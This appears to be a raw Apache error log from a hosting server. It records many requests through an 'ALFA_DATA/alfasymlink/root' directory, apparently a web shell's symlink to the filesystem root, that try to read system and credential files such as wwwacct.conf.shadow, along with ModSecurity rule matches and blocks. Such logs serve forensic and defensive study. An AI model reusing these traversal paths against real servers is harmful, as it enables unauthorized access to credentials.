[Sun Oct 25 17:14:44.588628 2026] [core:error] [pid 2899590:tid 2899590] (13)Permission denied: [client 98.26.41.145:44427] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/total_objects
[Sun Oct 25 17:14:46.289193 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 24.20.87.194:57215] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/align
[Sun Oct 25 17:14:46.592662 2026] [core:error] [pid 2903083:tid 2903083] (13)Permission denied: [client 194.88.103.212:60749] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/total_objects
[Sun Oct 25 17:14:49.723161 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 70.40.116.186:39073] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/total_objects
[Sun Oct 25 17:14:51.361475 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 190.174.32.169:51638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/align
[Sun Oct 25 17:14:53.211578 2026] [core:crit] [pid 2899920:tid 2899920] (13)Permission denied: [client 216.244.66.250:51502] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/122/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/122/fd/' is executable
[Sun Oct 25 17:14:53.211638 2026] [core:crit] [pid 2899920:tid 2899920] (13)Permission denied: [client 216.244.66.250:51502] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/122/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/122/map_files/' is executable
[Sun Oct 25 17:14:53.211654 2026] [core:crit] [pid 2899920:tid 2899920] (13)Permission denied: [client 216.244.66.250:51502] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/122/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/122/fdinfo/' is executable
[Sun Oct 25 17:14:57.689310 2026] [core:crit] [pid 2899590:tid 2899590] (13)Permission denied: [client 216.244.66.250:51516] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/796793/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/796793/fd/' is executable
[Sun Oct 25 17:14:57.689384 2026] [core:crit] [pid 2899590:tid 2899590] (13)Permission denied: [client 216.244.66.250:51516] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/796793/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/796793/map_files/' is executable
[Sun Oct 25 17:14:57.689402 2026] [core:crit] [pid 2899590:tid 2899590] (13)Permission denied: [client 216.244.66.250:51516] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/796793/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/796793/fdinfo/' is executable
[Sun Oct 25 17:15:10.286603 2026] [ssl:error] [pid 2903083:tid 2903083] (70014)End of file found: [client 54.166.104.83:19141] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:15:14.392649 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 3.211.181.86:53457] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:15:22.313587 2026] [ssl:error] [pid 2900724:tid 2900724] (70014)End of file found: [client 54.243.63.52:43348] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:15:29.891244 2026] [authz_core:error] [pid 2899920:tid 2899920] [client 192.121.158.206:53655] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 17:15:30.479904 2026] [core:error] [pid 2900794:tid 2900794] (13)Permission denied: [client 41.212.46.41:55276] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/alloc_calls
[Sun Oct 25 17:15:32.370771 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 75.181.167.118:33844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/alloc_calls
[Sun Oct 25 17:15:35.378987 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 90.195.63.53:53412] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/alloc_calls
[Sun Oct 25 17:15:38.182359 2026] [core:error] [pid 2903083:tid 2903083] (13)Permission denied: [client 23.23.180.225:13039] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/module/acpiphp/uevent
[Sun Oct 25 17:16:10.131887 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 54.164.106.236:55037] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:16:18.278418 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 54.84.102.81:40740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:16:31.126307 2026] [core:error] [pid 2899538:tid 2899538] (13)Permission denied: [client 81.100.230.62:38217] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/object_size
[Sun Oct 25 17:16:32.757937 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 174.59.144.133:41343] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/remote_node_defrag_ratio
[Sun Oct 25 17:16:32.955804 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 99.252.191.110:45446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/object_size
[Sun Oct 25 17:16:34.857165 2026] [core:error] [pid 2900794:tid 2900794] (13)Permission denied: [client 208.138.38.154:47750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/remote_node_defrag_ratio
[Sun Oct 25 17:16:36.129135 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 80.4.5.18:48075] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/object_size
[Sun Oct 25 17:16:38.179754 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 44.210.204.255:12273] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:16:42.169720 2026] [ssl:error] [pid 2899599:tid 2899599] (70014)End of file found: [client 44.212.145.46:17983] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:16:50.258536 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 54.204.12.115:11926] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:16:57.125853 2026] [ssl:error] [pid 2900794:tid 2900794] (70014)End of file found: [client 185.191.171.18:17650] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:17:10.149652 2026] [ssl:error] [pid 2899599:tid 2899599] (70014)End of file found: [client 3.89.176.255:33262] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:17:14.210403 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 52.1.106.130:12233] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:17:15.413020 2026] [security2:error] [pid 2899538:tid 2899538] [client 208.104.117.21:60895] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/perl-JSON-PP/Changes"] [unique_id "at5x2xY_WvHQT-9rZ0hM-AAAAAM"]
[Sun Oct 25 17:17:15.413056 2026] [security2:error] [pid 2899538:tid 2899538] [client 208.104.117.21:60895] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/perl-JSON-PP/Changes"] [unique_id "at5x2xY_WvHQT-9rZ0hM-AAAAAM"]
[Sun Oct 25 17:17:16.132451 2026] [core:error] [pid 2899599:tid 2899599] (13)Permission denied: [client 72.252.198.156:7566] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/destroy_by_rcu
[Sun Oct 25 17:17:16.475175 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 85.208.96.200:38208] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/total_objects
[Sun Oct 25 17:17:23.600077 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 45.173.216.50:60068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/destroy_by_rcu
[Sun Oct 25 17:17:25.259091 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 2.127.30.174:55616] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/destroy_by_rcu
[Sun Oct 25 17:17:34.177325 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 34.192.67.98:14245] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:17:38.168736 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 184.73.239.35:50643] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/unbind
[Sun Oct 25 17:17:42.979896 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 86.108.22.43:28760] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/cache_dma
[Sun Oct 25 17:17:45.160949 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 200.2.163.118:5361] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/cache_dma
[Sun Oct 25 17:17:45.615860 2026] [security2:error] [pid 2901652:tid 2901652] [client 107.172.76.131:64798] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5x7opmZqacL6KQiJJFOAAAAAs"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 17:17:45.615911 2026] [security2:error] [pid 2901652:tid 2901652] [client 107.172.76.131:64798] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5x7opmZqacL6KQiJJFOAAAAAs"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 17:17:46.164679 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 18.213.240.226:18684] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:17:46.922964 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 85.208.96.209:63686] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:17:47.941218 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 45.163.249.28:54700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/objs_per_slab
[Sun Oct 25 17:17:50.304553 2026] [ssl:error] [pid 2899619:tid 2899619] (70014)End of file found: [client 3.93.211.16:16605] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:17:58.233279 2026] [core:error] [pid 2899590:tid 2899590] (13)Permission denied: [client 100.28.118.16:59985] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:03/physical_node/graphics/fb0/device/subsystem/drivers/iosf_mbi_pci/bind
[Sun Oct 25 17:17:59.106440 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 181.197.252.11:63807] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/objs_per_slab
[Sun Oct 25 17:18:10.143671 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 54.145.82.217:59463] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:18:14.137950 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 34.204.150.196:51560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:18:17.746491 2026] [security2:error] [pid 2899590:tid 2899590] [client 43.153.102.138:44198] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/bases4/"] [unique_id "at5yGThv9sIzzLYWOYLPkAAAABc"]
[Sun Oct 25 17:18:19.872317 2026] [security2:error] [pid 2899790:tid 2899790] [client 216.244.66.250:50998] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sysctl.conf"] [unique_id "at5yG-j6DCVEuk3Dl4K43AAAAAQ"]
[Sun Oct 25 17:18:19.872801 2026] [security2:error] [pid 2899790:tid 2899790] [client 216.244.66.250:50998] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sysctl.conf"] [unique_id "at5yG-j6DCVEuk3Dl4K43AAAAAQ"]
[Sun Oct 25 17:18:19.873095 2026] [security2:error] [pid 2899790:tid 2899790] [client 216.244.66.250:50998] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sysctl.conf"] [unique_id "at5yG-j6DCVEuk3Dl4K43AAAAAQ"]
[Sun Oct 25 17:18:21.738663 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 41.208.141.64:46460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/total_objects
[Sun Oct 25 17:18:25.307984 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 38.252.49.108:46436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/poison
[Sun Oct 25 17:18:26.138906 2026] [ssl:error] [pid 2898267:tid 2898267] (5)Input/output error: [client 54.85.109.140:4298] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:18:27.886559 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 94.249.2.178:45715] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/poison
[Sun Oct 25 17:18:29.618714 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 67.149.153.104:38291] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/poison
[Sun Oct 25 17:18:30.629683 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 185.191.171.5:30150] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:18:33.368286 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 172.58.124.118:45239] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/total_objects
[Sun Oct 25 17:18:46.156874 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 3.232.82.72:5000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input5/event4/device/device/subsystem/drivers/vesa-framebuffer/bind
[Sun Oct 25 17:18:54.150150 2026] [ssl:error] [pid 2901649:tid 2901649] (70014)End of file found: [client 54.152.163.42:30751] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:18:58.159776 2026] [ssl:error] [pid 2899538:tid 2899538] (70014)End of file found: [client 54.159.18.27:35414] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:19:03.041706 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 46.248.207.20:51062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/total_objects
[Sun Oct 25 17:19:05.588554 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 194.37.98.102:48542] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/total_objects
[Sun Oct 25 17:19:06.854128 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 88.21.77.16:60430] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/ctor
[Sun Oct 25 17:19:10.222892 2026] [ssl:error] [pid 2901649:tid 2901649] (70014)End of file found: [client 44.194.134.53:13718] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:19:15.560190 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 67.175.53.133:58787] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/ctor
[Sun Oct 25 17:19:17.149063 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 66.229.189.201:55495] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/alloc_calls
[Sun Oct 25 17:19:20.278138 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 190.114.42.146:42477] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/alloc_calls
[Sun Oct 25 17:19:26.271032 2026] [ssl:error] [pid 2899538:tid 2899538] (70014)End of file found: [client 3.90.73.206:54032] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:19:30.144470 2026] [ssl:error] [pid 2903083:tid 2903083] (70014)End of file found: [client 3.93.253.174:30399] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:19:35.868577 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 107.223.206.234:36581] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/trace
[Sun Oct 25 17:19:38.173843 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 102.98.21.2:55868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/trace
[Sun Oct 25 17:19:39.752879 2026] [security2:error] [pid 2899538:tid 2899538] [client 91.234.25.211:8154] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/perl-Pod-Parser/CHANGES"] [unique_id "at5yaxY_WvHQT-9rZ0hNBAAAAAM"]
[Sun Oct 25 17:19:39.752923 2026] [security2:error] [pid 2899538:tid 2899538] [client 91.234.25.211:8154] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/perl-Pod-Parser/CHANGES"] [unique_id "at5yaxY_WvHQT-9rZ0hNBAAAAAM"]
[Sun Oct 25 17:19:50.243870 2026] [ssl:error] [pid 2899599:tid 2899599] (70014)End of file found: [client 44.205.180.155:12052] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:20:02.161118 2026] [core:error] [pid 2899538:tid 2899538] (13)Permission denied: [client 54.235.172.108:46964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:0c/subsystem/drivers/battery/uevent
[Sun Oct 25 17:20:05.952165 2026] [ssl:error] [pid 2899599:tid 2899599] (70014)End of file found: [client 186.247.37.75:9926] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:20:09.126952 2026] [security2:error] [pid 2899538:tid 2899538] [client 68.173.233.40:54939] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/openssl-devel/CHANGES"] [unique_id "at5yiRY_WvHQT-9rZ0hNCAAAAAM"]
[Sun Oct 25 17:20:09.127002 2026] [security2:error] [pid 2899538:tid 2899538] [client 68.173.233.40:54939] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/openssl-devel/CHANGES"] [unique_id "at5yiRY_WvHQT-9rZ0hNCAAAAAM"]
[Sun Oct 25 17:20:12.023956 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 85.208.96.209:46204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/db/retry.lockfile
[Sun Oct 25 17:20:12.344533 2026] [ssl:error] [pid 2900724:tid 2900724] (70014)End of file found: [client 156.146.130.99:35946] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:20:18.430180 2026] [ssl:error] [pid 2899538:tid 2899538] (70014)End of file found: [client 23.23.99.55:45300] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:20:19.609060 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 102.210.17.182:16024] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:20:30.191829 2026] [ssl:error] [pid 2900724:tid 2900724] (70014)End of file found: [client 44.207.69.106:2390] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:20:34.182308 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 44.209.35.147:6477] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0d/subsystem/drivers/ec/unbind
[Sun Oct 25 17:20:35.889565 2026] [authz_core:error] [pid 2899590:tid 2899590] [client 130.12.180.163:22744] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Sun Oct 25 17:20:36.962899 2026] [security2:error] [pid 2899790:tid 2899790] [client 185.191.171.14:48036] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/certs/clic5_sherwinpinturas_com_bd307_65f1b_1796935079_33cbba9d5328feb78c32f0dcdd4e739a.crt.cache"] [unique_id "at5ypOj6DCVEuk3Dl4K48AAAAAQ"]
[Sun Oct 25 17:20:36.962945 2026] [security2:error] [pid 2899790:tid 2899790] [client 185.191.171.14:48036] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/certs/clic5_sherwinpinturas_com_bd307_65f1b_1796935079_33cbba9d5328feb78c32f0dcdd4e739a.crt.cache"] [unique_id "at5ypOj6DCVEuk3Dl4K48AAAAAQ"]
[Sun Oct 25 17:20:38.246947 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 3.221.156.96:28887] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:20:46.361880 2026] [ssl:error] [pid 2903083:tid 2903083] (70014)End of file found: [client 52.44.148.203:15412] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:20:54.572181 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 85.208.96.193:63944] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:20:58.332842 2026] [core:error] [pid 2903083:tid 2903083] (13)Permission denied: [client 18.204.152.114:39572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/memory/memory16/node0/memory1/node0/memory15/subsystem/uevent
[Sun Oct 25 17:21:06.275820 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 54.83.240.58:30206] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:21:09.648320 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 216.244.66.250:35310] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/wwwacct.conf.shadow
[Sun Oct 25 17:21:18.230781 2026] [core:error] [pid 2900794:tid 2900794] (13)Permission denied: [client 34.194.95.99:51973] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0501:01/subsystem/devices/PNP0A03:00/device:0d/eject
[Sun Oct 25 17:21:30.214640 2026] [ssl:error] [pid 2899538:tid 2899538] (70014)End of file found: [client 3.224.215.150:20752] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:21:34.637506 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 54.221.203.24:64704] AH02013: coalesce failed to read from data bucket
